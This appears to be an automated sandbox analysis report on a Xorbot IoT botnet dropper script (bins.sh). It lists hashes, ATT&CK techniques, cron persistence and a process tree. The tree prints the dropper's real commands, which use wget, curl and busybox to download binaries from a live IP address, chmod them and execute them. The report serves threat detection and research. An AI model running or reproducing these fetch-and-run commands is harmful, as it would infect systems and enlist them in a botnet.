xorbot | cbe2f1fbc57ecdbba7f574d6dd117a19890c8ac7e4a353b8f0f3b2ad4649a3bb

Analysis

max time kernel
150s
max time network
154s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
23/01/2025, 10:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 10KB
Sample250123-mkcvdaxpbp
SHA256 cbe2f1fbc57ecdbba7f574d6dd117a19890c8ac7e4a353b8f0f3b2ad4649a3bb
MD5 993e7675dcb0551b39e48511df01495b
SHA1 293b4297eb63aa90f12cf272ea6d4c858dd47b08
SHA512 58fdf3b87f5fd9a3e9664d0e670f16d3e54fddf72a6b8205404a406fd69608fffa3f55c76fd520e646be0b6679a6093da7d3c0faef7e724764806e373854caaa
SSDEEP 96:g2uGDXvHWF8KPTCINE+U6awp1nko7XalNGGY6NEIU6awp1im3LLW992uGDXf1TyC:HWF8KPTCINU6awp1kocG6awp1u8TcEKu
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-3.dat	family_xorbot
behavioral2/files/fstream-8.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Contacts a large (1927) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
687	chmod
696	chmod
796	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/2uI9Sv4zGQHzudnEk3wWN2B05PUEcVn0gQ	688	bins.sh
/tmp/qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf	697	bins.sh
/tmp/WrcSxuDNmnmhnuGHaBLdhI3MNuDn48T35L	797	bins.sh

Renames itself 1 IoCs

pid	Process
698	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.5I0m2n	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/25/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/885/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/982/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/996/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/804/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/960/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/930/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/12/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/734/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/769/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/788/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/901/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/963/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/11/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/763/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/984/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/887/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/917/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/1004/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/719/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/742/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/768/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/799/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/866/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/780/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/801/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/816/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/986/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/937/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/43/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/743/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/774/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/830/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/890/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/14/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/764/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/783/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/741/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/777/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/871/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/929/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/952/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/874/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/931/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/985/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/725/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/737/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/757/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/766/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/854/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/739/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/979/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/19/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/754/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/898/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/943/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/964/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/21/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/698/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/915/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/916/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
File opened for reading	/proc/944/cmdline	qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf	wget
File opened for modification	/tmp/qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf	curl
File opened for modification	/tmp/qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf	busybox
File opened for modification	/tmp/WrcSxuDNmnmhnuGHaBLdhI3MNuDn48T35L	busybox
File opened for modification	/tmp/2uI9Sv4zGQHzudnEk3wWN2B05PUEcVn0gQ	wget
File opened for modification	/tmp/2uI9Sv4zGQHzudnEk3wWN2B05PUEcVn0gQ	curl
File opened for modification	/tmp/2uI9Sv4zGQHzudnEk3wWN2B05PUEcVn0gQ	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:656
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:661
- /usr/bin/wget
  wget http://66.63.187.225/bins/2uI9Sv4zGQHzudnEk3wWN2B05PUEcVn0gQ
  2⤵
  - Writes file to tmp directory
  PID:663
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/2uI9Sv4zGQHzudnEk3wWN2B05PUEcVn0gQ
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:678
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/2uI9Sv4zGQHzudnEk3wWN2B05PUEcVn0gQ
  2⤵
  - Writes file to tmp directory
  PID:684
- /bin/chmod
  chmod 777 2uI9Sv4zGQHzudnEk3wWN2B05PUEcVn0gQ
  2⤵
  - File and Directory Permissions Modification
  PID:687
- /tmp/2uI9Sv4zGQHzudnEk3wWN2B05PUEcVn0gQ
  ./2uI9Sv4zGQHzudnEk3wWN2B05PUEcVn0gQ
  2⤵
  PID:688
- /bin/rm
  rm 2uI9Sv4zGQHzudnEk3wWN2B05PUEcVn0gQ
  2⤵
  PID:690
- /usr/bin/wget
  wget http://66.63.187.225/bins/qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
  2⤵
  - Writes file to tmp directory
  PID:691
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:692
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
  2⤵
  - Writes file to tmp directory
  PID:693
- /bin/chmod
  chmod 777 qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
  2⤵
  - File and Directory Permissions Modification
  PID:696
- /tmp/qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
  ./qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:697
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:699
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:700
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:702
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:704
- /bin/rm
  rm qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
  2⤵
  PID:706
- /usr/bin/wget
  wget http://66.63.187.225/bins/WrcSxuDNmnmhnuGHaBLdhI3MNuDn48T35L
  2⤵
  PID:709
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/WrcSxuDNmnmhnuGHaBLdhI3MNuDn48T35L
  2⤵
  PID:711
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/WrcSxuDNmnmhnuGHaBLdhI3MNuDn48T35L
  2⤵
  - Writes file to tmp directory
  PID:793
- /bin/chmod
  chmod 777 WrcSxuDNmnmhnuGHaBLdhI3MNuDn48T35L
  2⤵
  - File and Directory Permissions Modification
  PID:796
- /tmp/WrcSxuDNmnmhnuGHaBLdhI3MNuDn48T35L
  ./WrcSxuDNmnmhnuGHaBLdhI3MNuDn48T35L
  2⤵
  PID:797
- /bin/rm
  rm WrcSxuDNmnmhnuGHaBLdhI3MNuDn48T35L
  2⤵
  PID:798
- /usr/bin/wget
  wget http://66.63.187.225/bins/jTfbdWBvTHzMKM5JnMPerMm2CwVUJHlrjc
  2⤵
  PID:802
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/jTfbdWBvTHzMKM5JnMPerMm2CwVUJHlrjc
  2⤵
  PID:803

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

2uI9Sv4zGQHzudnEk3wWN2B05PUEcVn0gQ

Path /tmp/2uI9Sv4zGQHzudnEk3wWN2B05PUEcVn0gQ
Size 111KB
SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
MD5 ca897a38f23ec23521ce0b1b83f8422d
SHA1 b8d2ab335346aba9a72bae0fe3533aca1ab7b66a
SHA512 10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb
SSDEEP 3072:/hn2ZF7rLLveDuceOZ8r4xcG0m/pOQbZJXx35zzp:QZF7rLLveDYOZa46G0m/pOQbZJXx5zzp
MD5 SHA1 SHA512 SSDEEP

Submit Download

WrcSxuDNmnmhnuGHaBLdhI3MNuDn48T35L

Path /tmp/WrcSxuDNmnmhnuGHaBLdhI3MNuDn48T35L
Size 119KB
SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
MD5 1b166b95f9cb4b079ef1b9ec8363ddf3
SHA1 0d8eb08add467b3b5474f9b25909297fe7c2839c
SHA512 983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925
SSDEEP 3072:lbeGHulXta3Yz+u6b/tDrHvIAJ9GjOHSHm8RiQztBJk9zEp:Re3ODtDbvIg9Gj7Hm8RiQztB+9zEp
MD5 SHA1 SHA512 SSDEEP

Submit Download

qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf

Path /tmp/qoOKT8hpfcRMSVZqFJvKBcinHkHCV4U2Pf
Size 141KB
SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
MD5 3ca8decdb1e52c423c521bfff02ac200
SHA1 8621ecd6807109b8541912ad9e134f6fb49bfd48
SHA512 b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
SSDEEP 3072:h2mQRJQqJ3OuMP2Q72katWmUd4jEJ/SL06gO0NmmytHHQRkLCalY:h2Y17zaPnEJ/SL16mmytHHQRkLplY
MD5 SHA1 SHA512 SSDEEP

Submit Download

tmp.5I0m2n

Path /var/spool/cron/crontabs/tmp.5I0m2n
Size 210B
SHA256 f371f6d18a7046078a5a78c7fbd33be7f9ac0704cebb331d97885127cf9971fc
MD5 46c061932786d5feda14d6da89fd6055
SHA1 b08f5def3d8c26f602d37d444ca427129d5c7461
SHA512 45ce9c4794a69376cb5b553e2781b47e0c5bef83417dfbfe96d36c7a4a9e5cfe9ae6daf26b00ccc8561e2a404595d3424cf729af44aa2b6e7d49010953243ed1
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads